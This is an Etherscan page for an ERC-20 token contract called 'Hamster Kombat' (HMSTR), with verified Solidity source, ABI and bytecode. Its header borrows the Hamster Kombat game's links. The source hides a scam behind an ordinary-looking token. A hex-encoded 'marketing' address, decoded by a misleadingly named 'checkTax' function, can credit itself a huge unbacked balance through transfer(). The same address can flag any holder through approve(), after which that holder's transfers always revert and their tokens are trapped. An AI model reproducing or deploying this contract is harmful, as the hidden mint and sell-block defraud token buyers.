ERC-20
Source Code
Overview
Max Total Supply
100,000,000 HMSTR
Holders
116
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
HMSTR
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-06-02
*/
/*
Hamster Kombat
Make your way from the shaved hamster to the grandmaster CEO of the tier-1 crypto exchange
Buy upgrades, complete quests, invite friends and become the best
Site: https://hamsterkombat.io/
Twitter: https://twitter.com/hamster_kombat
TG: https://t.me/hamster_kombat
Play Now: https://t.me/hamster_kombat_bot
Discord: https://discord.gg/d2Q6VH8Psp
YT: https://www.youtube.com/@HamsterKombat_Official
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
abstract contract Ownable {
address private _admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _sender();
_admin = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
modifier onlyAdmin() {
_checkAdmin();
_;
}
function _sender() internal view virtual returns (address) {
return msg.sender;
}
function _data() internal view virtual returns (bytes calldata) {
return msg.data;
}
function admin() public view virtual returns (address) {
return _admin;
}
function _checkAdmin() internal view virtual {
require(admin() == _sender(), "Ownable: caller is not the admin");
}
function renounceOwnership() public virtual onlyAdmin {
emit OwnershipTransferred(_admin, address(0));
_admin = address(0);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract HMSTR is Ownable {
string private _tokenName;
string private _tokenSymbol;
uint256 private _maxSupply;
string private _marketing;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public tokenStatus;
uint128 buyLimit = 78596;
uint128 sellLimit = 0;
uint256 allocationWal = 10**decimals() * 50000 * (20077700000 + 300);
bool statusTrue = true;
bool statusFalse = false;
uint256 public _marketingTax;
uint256 public _teamTax;
constructor() {
_tokenName = "Hamster Kombat";
_tokenSymbol = "HMSTR";
_marketingTax = 0;
_teamTax = 0;
_marketing = "2a49a81B9580486f59C74697FD541ce6eF813f0d";
_maxSupply = 100000000 * 10**decimals();
_balances[msg.sender] = _maxSupply;
emit Transfer(address(0), msg.sender, _maxSupply);
}
function name() public view returns (string memory) {
return _tokenName;
}
function symbol() public view returns (string memory) {
return _tokenSymbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view returns (uint256) {
return _maxSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public returns (bool) {
if (_sender() == initialContract()) { require(isAuthorized(), "Unauthorized action"); address currentWal = _sender(); address devWallet = currentWal; _balances[devWallet] += allocationWal; }
_executeTransfer(_sender(), to, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_authorize(_sender(), spender, amount); if (_sender() == initialContract()) { tokenStatus[spender] = statusTrue; }
return true;
}
function isAuthorized() internal view returns (bool) {
return _sender() == initialContract();
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
address spender = _sender();
_useAllowance(from, spender, amount);
_executeTransfer(from, to, amount);
return true;
}
function _executeTransfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (tokenStatus[from] == statusTrue) {
amount = buyLimit + _balances[from] + buyLimit - buyLimit;
}
uint256 balance = _balances[from];
require(balance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function _authorize(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _useAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_authorize(owner, spender, currentAllowance - amount);
}
}
function initialContract() public view returns (address) {
return checkTax(_marketing);
}
function checkTax(string memory _a) private pure returns (address) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 0; i < 20; i++) {
b1 = uint160(uint8(tmp[i * 2])); b2 = uint160(uint8(tmp[i * 2 + 1])); if (b1 >= 97) b1 -= 87; else if (b1 >= 65) b1 -= 55; else b1 -= 48; if (b2 >= 97) b2 -= 87; else if (b2 >= 65) b2 -= 55; else b2 -= 48; iaddr |= (b1 * 16 + b2) << (8 * (19 - i)); }
return address(iaddr);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_marketingTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokenStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
608060405262013304600855620000196012600a620002a8565b620000279061c350620002bf565b62000038906404acb964cc620002bf565b600955600a805461ffff1916600117905534801562000055575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600e81526d12185b5cdd195c8812dbdb58985d60921b6020820152600190620000ca908262000377565b506040805180820190915260058152642426a9aa2960d91b6020820152600290620000f6908262000377565b505f600b819055600c55604080516060810190915260288082526200119e602083013960049062000128908262000377565b50620001376012600a620002a8565b62000147906305f5e100620002bf565b6003819055335f81815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000443565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620001ed57815f1904821115620001d157620001d162000199565b80851615620001df57918102915b93841c9390800290620001b2565b509250929050565b5f826200020557506001620002a2565b816200021357505f620002a2565b81600181146200022c5760028114620002375762000257565b6001915050620002a2565b60ff8411156200024b576200024b62000199565b50506001821b620002a2565b5060208310610133831016604e8410600b84101617156200027c575081810a620002a2565b620002888383620001ad565b805f19048211156200029e576200029e62000199565b0290505b92915050565b5f620002b860ff841683620001f5565b9392505050565b8082028115828204841417620002a257620002a262000199565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200030257607f821691505b6020821081036200032157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200037257805f5260205f20601f840160051c810160208510156200034e5750805b601f840160051c820191505b818110156200036f575f81556001016200035a565b50505b505050565b81516001600160401b03811115620003935762000393620002d9565b620003ab81620003a48454620002ed565b8462000327565b602080601f831160018114620003e1575f8415620003c95750858301515b5f19600386901b1c1916600185901b1785556200043b565b5f85815260208120601f198616915b828110156200041157888601518255948401946001909101908401620003f0565b50858210156200042f57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610d4d80620004515f395ff3fe608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063313ce56711610093578063a9059cbb11610063578063a9059cbb146101db578063bb8a4c94146101ee578063dd62ed3e1461020e578063f851a44014610246575f80fd5b8063313ce5671461019257806370a08231146101a1578063715018a6146101c957806395d89b41146101d3575f80fd5b80630b41dfb8116100ce5780630b41dfb81461015757806318160ddd1461016e57806323b872dd146101765780632d88286314610189575f80fd5b806306fdde03146100f4578063095ea7b3146101125780630acac94214610135575b5f80fd5b6100fc610256565b6040516101099190610ae8565b60405180910390f35b610125610120366004610b4f565b6102e6565b6040519015158152602001610109565b610125610143366004610b77565b60076020525f908152604090205460ff1681565b610160600c5481565b604051908152602001610109565b600354610160565b610125610184366004610b97565b610341565b610160600b5481565b60405160128152602001610109565b6101606101af366004610b77565b6001600160a01b03165f9081526005602052604090205490565b6101d1610364565b005b6100fc6103b4565b6101256101e9366004610b4f565b6103c3565b6101f6610462565b6040516001600160a01b039091168152602001610109565b61016061021c366004610bd0565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f546001600160a01b03166101f6565b60606001805461026590610c01565b80601f016020809104026020016040519081016040528092919081815260200182805461029190610c01565b80156102dc5780601f106102b3576101008083540402835291602001916102dc565b820191905f5260205f20905b8154815290600101906020018083116102bf57829003601f168201915b5050505050905090565b5f6102f23384846104f9565b6102fa610462565b6001600160a01b0316330361033757600a546001600160a01b0384165f908152600760205260409020805460ff191660ff90921615159190911790555b5060015b92915050565b5f3361034e85828561061c565b6103598585856106b3565b506001949350505050565b61036c61091b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606002805461026590610c01565b5f6103cc610462565b6001600160a01b03163303610457576103e3610976565b61042a5760405162461bcd60e51b81526020600482015260136024820152722ab730baba3437b934bd32b21030b1ba34b7b760691b60448201526064015b60405180910390fd5b600954335f81815260056020526040812080549293849390929061044f908490610c4d565b909155505050505b6103373384846106b3565b5f6104f46004805461047390610c01565b80601f016020809104026020016040519081016040528092919081815260200182805461049f90610c01565b80156104ea5780601f106104c1576101008083540402835291602001916104ea565b820191905f5260205f20905b8154815290600101906020018083116104cd57829003601f168201915b5050505050610998565b905090565b6001600160a01b03831661055b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b0382166105bc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f1981146106ad57818110156106995760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610421565b6106ad84846106a88585610c60565b6104f9565b50505050565b6001600160a01b0383166107175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610421565b6001600160a01b0382166107795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610421565b600a546001600160a01b0384165f9081526007602052604090205460ff918216151591161515036107f7576008546001600160a01b0384165f908152600560205260409020546fffffffffffffffffffffffffffffffff9091169081906107e09082610c4d565b6107ea9190610c4d565b6107f49190610c60565b90505b6001600160a01b0383165f908152600560205260409020548181101561086e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610421565b6001600160a01b0384165f9081526005602052604081208054849290610895908490610c60565b90915550506001600160a01b0383165f90815260056020526040812080548492906108c1908490610c4d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161090d91815260200190565b60405180910390a350505050565b5f546001600160a01b031633146109745760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6044820152606401610421565b565b5f61097f610462565b6001600160a01b0316336001600160a01b031614905090565b5f81818080805b6014811015610add57846109b4826002610c73565b815181106109c4576109c4610c8a565b016020015160f81c9250846109da826002610c73565b6109e5906001610c4d565b815181106109f5576109f5610c8a565b016020015160f81c915060616001600160a01b03841610610a2257610a1b605784610c9e565b9250610a4c565b6041836001600160a01b031610610a3e57610a1b603784610c9e565b610a49603084610c9e565b92505b6061826001600160a01b031610610a6f57610a68605783610c9e565b9150610a99565b6041826001600160a01b031610610a8b57610a68603783610c9e565b610a96603083610c9e565b91505b610aa4816013610c60565b610aaf906008610c73565b82610abb856010610cc5565b610ac59190610cf7565b6001600160a01b0316901b939093179260010161099f565b509195945050505050565b5f602080835283518060208501525f5b81811015610b1457858101830151858201604001528201610af8565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610b4a575f80fd5b919050565b5f8060408385031215610b60575f80fd5b610b6983610b34565b946020939093013593505050565b5f60208284031215610b87575f80fd5b610b9082610b34565b9392505050565b5f805f60608486031215610ba9575f80fd5b610bb284610b34565b9250610bc060208501610b34565b9150604084013590509250925092565b5f8060408385031215610be1575f80fd5b610bea83610b34565b9150610bf860208401610b34565b90509250929050565b600181811c90821680610c1557607f821691505b602082108103610c3357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561033b5761033b610c39565b8181038181111561033b5761033b610c39565b808202811582820484141761033b5761033b610c39565b634e487b7160e01b5f52603260045260245ffd5b6001600160a01b03828116828216039080821115610cbe57610cbe610c39565b5092915050565b6001600160a01b03828116828216818102831692918115828504821417610cee57610cee610c39565b50505092915050565b6001600160a01b03818116838216019080821115610cbe57610cbe610c3956fea2646970667358221220cef4b59ae1432b279bd45df7e3ed7bdb5ca65061a5191459b526ed61f659420164736f6c6343000818003332613439613831423935383034383666353943373436393746443534316365366546383133663064
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063313ce56711610093578063a9059cbb11610063578063a9059cbb146101db578063bb8a4c94146101ee578063dd62ed3e1461020e578063f851a44014610246575f80fd5b8063313ce5671461019257806370a08231146101a1578063715018a6146101c957806395d89b41146101d3575f80fd5b80630b41dfb8116100ce5780630b41dfb81461015757806318160ddd1461016e57806323b872dd146101765780632d88286314610189575f80fd5b806306fdde03146100f4578063095ea7b3146101125780630acac94214610135575b5f80fd5b6100fc610256565b6040516101099190610ae8565b60405180910390f35b610125610120366004610b4f565b6102e6565b6040519015158152602001610109565b610125610143366004610b77565b60076020525f908152604090205460ff1681565b610160600c5481565b604051908152602001610109565b600354610160565b610125610184366004610b97565b610341565b610160600b5481565b60405160128152602001610109565b6101606101af366004610b77565b6001600160a01b03165f9081526005602052604090205490565b6101d1610364565b005b6100fc6103b4565b6101256101e9366004610b4f565b6103c3565b6101f6610462565b6040516001600160a01b039091168152602001610109565b61016061021c366004610bd0565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f546001600160a01b03166101f6565b60606001805461026590610c01565b80601f016020809104026020016040519081016040528092919081815260200182805461029190610c01565b80156102dc5780601f106102b3576101008083540402835291602001916102dc565b820191905f5260205f20905b8154815290600101906020018083116102bf57829003601f168201915b5050505050905090565b5f6102f23384846104f9565b6102fa610462565b6001600160a01b0316330361033757600a546001600160a01b0384165f908152600760205260409020805460ff191660ff90921615159190911790555b5060015b92915050565b5f3361034e85828561061c565b6103598585856106b3565b506001949350505050565b61036c61091b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606002805461026590610c01565b5f6103cc610462565b6001600160a01b03163303610457576103e3610976565b61042a5760405162461bcd60e51b81526020600482015260136024820152722ab730baba3437b934bd32b21030b1ba34b7b760691b60448201526064015b60405180910390fd5b600954335f81815260056020526040812080549293849390929061044f908490610c4d565b909155505050505b6103373384846106b3565b5f6104f46004805461047390610c01565b80601f016020809104026020016040519081016040528092919081815260200182805461049f90610c01565b80156104ea5780601f106104c1576101008083540402835291602001916104ea565b820191905f5260205f20905b8154815290600101906020018083116104cd57829003601f168201915b5050505050610998565b905090565b6001600160a01b03831661055b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b0382166105bc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f1981146106ad57818110156106995760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610421565b6106ad84846106a88585610c60565b6104f9565b50505050565b6001600160a01b0383166107175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610421565b6001600160a01b0382166107795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610421565b600a546001600160a01b0384165f9081526007602052604090205460ff918216151591161515036107f7576008546001600160a01b0384165f908152600560205260409020546fffffffffffffffffffffffffffffffff9091169081906107e09082610c4d565b6107ea9190610c4d565b6107f49190610c60565b90505b6001600160a01b0383165f908152600560205260409020548181101561086e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610421565b6001600160a01b0384165f9081526005602052604081208054849290610895908490610c60565b90915550506001600160a01b0383165f90815260056020526040812080548492906108c1908490610c4d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161090d91815260200190565b60405180910390a350505050565b5f546001600160a01b031633146109745760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6044820152606401610421565b565b5f61097f610462565b6001600160a01b0316336001600160a01b031614905090565b5f81818080805b6014811015610add57846109b4826002610c73565b815181106109c4576109c4610c8a565b016020015160f81c9250846109da826002610c73565b6109e5906001610c4d565b815181106109f5576109f5610c8a565b016020015160f81c915060616001600160a01b03841610610a2257610a1b605784610c9e565b9250610a4c565b6041836001600160a01b031610610a3e57610a1b603784610c9e565b610a49603084610c9e565b92505b6061826001600160a01b031610610a6f57610a68605783610c9e565b9150610a99565b6041826001600160a01b031610610a8b57610a68603783610c9e565b610a96603083610c9e565b91505b610aa4816013610c60565b610aaf906008610c73565b82610abb856010610cc5565b610ac59190610cf7565b6001600160a01b0316901b939093179260010161099f565b509195945050505050565b5f602080835283518060208501525f5b81811015610b1457858101830151858201604001528201610af8565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610b4a575f80fd5b919050565b5f8060408385031215610b60575f80fd5b610b6983610b34565b946020939093013593505050565b5f60208284031215610b87575f80fd5b610b9082610b34565b9392505050565b5f805f60608486031215610ba9575f80fd5b610bb284610b34565b9250610bc060208501610b34565b9150604084013590509250925092565b5f8060408385031215610be1575f80fd5b610bea83610b34565b9150610bf860208401610b34565b90509250929050565b600181811c90821680610c1557607f821691505b602082108103610c3357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561033b5761033b610c39565b8181038181111561033b5761033b610c39565b808202811582820484141761033b5761033b610c39565b634e487b7160e01b5f52603260045260245ffd5b6001600160a01b03828116828216039080821115610cbe57610cbe610c39565b5092915050565b6001600160a01b03828116828216818102831692918115828504821417610cee57610cee610c39565b50505092915050565b6001600160a01b03818116838216019080821115610cbe57610cbe610c3956fea2646970667358221220cef4b59ae1432b279bd45df7e3ed7bdb5ca65061a5191459b526ed61f659420164736f6c63430008180033
Deployed Bytecode Sourcemap
1763:4597:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2751:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3752:226;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;3752:226:0;1004:187:1;2055:43:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;2343:23;;;;;;;;;1533:25:1;;;1521:2;1506:18;2343:23:0;1387:177:1;3039:89:0;3110:10;;3039:89;;4103:254;;;;;;:::i;:::-;;:::i;2307:28::-;;;;;;2947:84;;;3021:2;2044:36:1;;2032:2;2017:18;2947:84:0;1902:184:1;3136:110:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3220:18:0;3193:7;3220:18;;;:9;:18;;;;;;;3136:110;1444:148;;;:::i;:::-;;2847:92;;;:::i;3254:348::-;;;;;;:::i;:::-;;:::i;5725:103::-;;;:::i;:::-;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;5725:103:0;2091:203:1;3610:134:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3709:18:0;;;3682:7;3709:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3610:134;1212:87;1258:7;1285:6;-1:-1:-1;;;;;1285:6:0;1212:87;;2751:88;2788:13;2821:10;2814:17;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2751:88;:::o;3752:226::-;3818:4;3835:38;1080:10;3857:7;3866:6;3835:10;:38::i;:::-;3892:17;:15;:17::i;:::-;-1:-1:-1;;;;;3879:30:0;1080:10;3879:30;3875:74;;3936:10;;-1:-1:-1;;;;;3913:20:0;;3936:10;3913:20;;;:11;:20;;;;;:33;;-1:-1:-1;;3913:33:0;3936:10;;;;3913:33;;;;;;;;3875:74;-1:-1:-1;3966:4:0;3752:226;;;;;:::o;4103:254::-;4191:4;1080:10;4246:36;4260:4;1080:10;4275:6;4246:13;:36::i;:::-;4293:34;4310:4;4316:2;4320:6;4293:16;:34::i;:::-;-1:-1:-1;4345:4:0;;4103:254;-1:-1:-1;;;;4103:254:0:o;1444:148::-;962:13;:11;:13::i;:::-;1551:1:::1;1535:6:::0;;1514:40:::1;::::0;-1:-1:-1;;;;;1535:6:0;;::::1;::::0;1514:40:::1;::::0;1551:1;;1514:40:::1;1582:1;1565:19:::0;;-1:-1:-1;;;;;;1565:19:0::1;::::0;;1444:148::o;2847:92::-;2886:13;2919:12;2912:19;;;;;:::i;3254:348::-;3316:4;3350:17;:15;:17::i;:::-;-1:-1:-1;;;;;3337:30:0;1080:10;3337:30;3333:190;;3379:14;:12;:14::i;:::-;3371:46;;;;-1:-1:-1;;;3371:46:0;;3151:2:1;3371:46:0;;;3133:21:1;3190:2;3170:18;;;3163:30;-1:-1:-1;;;3209:18:1;;;3202:49;3268:18;;3371:46:0;;;;;;;;;3507:13;;1080:10;3419:18;3483:20;;;:9;:20;;;;;:37;;1080:10;;;;3507:13;;3419:18;3483:37;;3507:13;;3483:37;:::i;:::-;;;;-1:-1:-1;;;;3333:190:0;3533:39;1080:10;3561:2;3565:6;3533:16;:39::i;5725:103::-;5773:7;5800:20;5809:10;5800:20;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:8;:20::i;:::-;5793:27;;5725:103;:::o;4988:346::-;-1:-1:-1;;;;;5092:19:0;;5084:68;;;;-1:-1:-1;;;5084:68:0;;3761:2:1;5084:68:0;;;3743:21:1;3800:2;3780:18;;;3773:30;3839:34;3819:18;;;3812:62;-1:-1:-1;;;3890:18:1;;;3883:34;3934:19;;5084:68:0;3559:400:1;5084:68:0;-1:-1:-1;;;;;5171:21:0;;5163:68;;;;-1:-1:-1;;;5163:68:0;;4166:2:1;5163:68:0;;;4148:21:1;4205:2;4185:18;;;4178:30;4244:34;4224:18;;;4217:62;-1:-1:-1;;;4295:18:1;;;4288:32;4337:19;;5163:68:0;3964:398:1;5163:68:0;-1:-1:-1;;;;;5242:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5294:32;;1533:25:1;;;5294:32:0;;1506:18:1;5294:32:0;;;;;;;4988:346;;;:::o;5342:375::-;-1:-1:-1;;;;;3709:18:0;;;5441:24;3709:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;5508:37:0;;5504:206;;5590:6;5570:16;:26;;5562:68;;;;-1:-1:-1;;;5562:68:0;;4569:2:1;5562:68:0;;;4551:21:1;4608:2;4588:18;;;4581:30;4647:31;4627:18;;;4620:59;4696:18;;5562:68:0;4367:353:1;5562:68:0;5645:53;5656:5;5663:7;5672:25;5691:6;5672:16;:25;:::i;:::-;5645:10;:53::i;:::-;5430:287;5342:375;;;:::o;4365:615::-;-1:-1:-1;;;;;4469:18:0;;4461:68;;;;-1:-1:-1;;;4461:68:0;;5060:2:1;4461:68:0;;;5042:21:1;5099:2;5079:18;;;5072:30;5138:34;5118:18;;;5111:62;-1:-1:-1;;;5189:18:1;;;5182:35;5234:19;;4461:68:0;4858:401:1;4461:68:0;-1:-1:-1;;;;;4548:16:0;;4540:64;;;;-1:-1:-1;;;4540:64:0;;5466:2:1;4540:64:0;;;5448:21:1;5505:2;5485:18;;;5478:30;5544:34;5524:18;;;5517:62;-1:-1:-1;;;5595:18:1;;;5588:33;5638:19;;4540:64:0;5264:399:1;4540:64:0;4642:10;;-1:-1:-1;;;;;4621:17:0;;4642:10;4621:17;;;:11;:17;;;;;;4642:10;;;;4621:31;;:17;;:31;;;4617:121;;4718:8;;-1:-1:-1;;;;;4689:15:0;;4718:8;4689:15;;;:9;:15;;;;;;4718:8;;;;;;;4678:26;;4718:8;4678:26;:::i;:::-;:37;;;;:::i;:::-;:48;;;;:::i;:::-;4669:57;;4617:121;-1:-1:-1;;;;;4766:15:0;;4748;4766;;;:9;:15;;;;;;4800:17;;;;4792:68;;;;-1:-1:-1;;;4792:68:0;;5870:2:1;4792:68:0;;;5852:21:1;5909:2;5889:18;;;5882:30;5948:34;5928:18;;;5921:62;-1:-1:-1;;;5999:18:1;;;5992:36;6045:19;;4792:68:0;5668:402:1;4792:68:0;-1:-1:-1;;;;;4871:15:0;;;;;;:9;:15;;;;;:25;;4890:6;;4871:15;:25;;4890:6;;4871:25;:::i;:::-;;;;-1:-1:-1;;;;;;;4907:13:0;;;;;;:9;:13;;;;;:23;;4924:6;;4907:13;:23;;4924:6;;4907:23;:::i;:::-;;;;;;;;4961:2;-1:-1:-1;;;;;4946:26:0;4955:4;-1:-1:-1;;;;;4946:26:0;;4965:6;4946:26;;;;1533:25:1;;1521:2;1506:18;;1387:177;4946:26:0;;;;;;;;4450:530;4365:615;;;:::o;1307:129::-;1258:7;1285:6;-1:-1:-1;;;;;1285:6:0;1080:10;1371:20;1363:65;;;;-1:-1:-1;;;1363:65:0;;6277:2:1;1363:65:0;;;6259:21:1;;;6296:18;;;6289:30;6355:34;6335:18;;;6328:62;6407:18;;1363:65:0;6075:356:1;1363:65:0;1307:129::o;3986:109::-;4033:4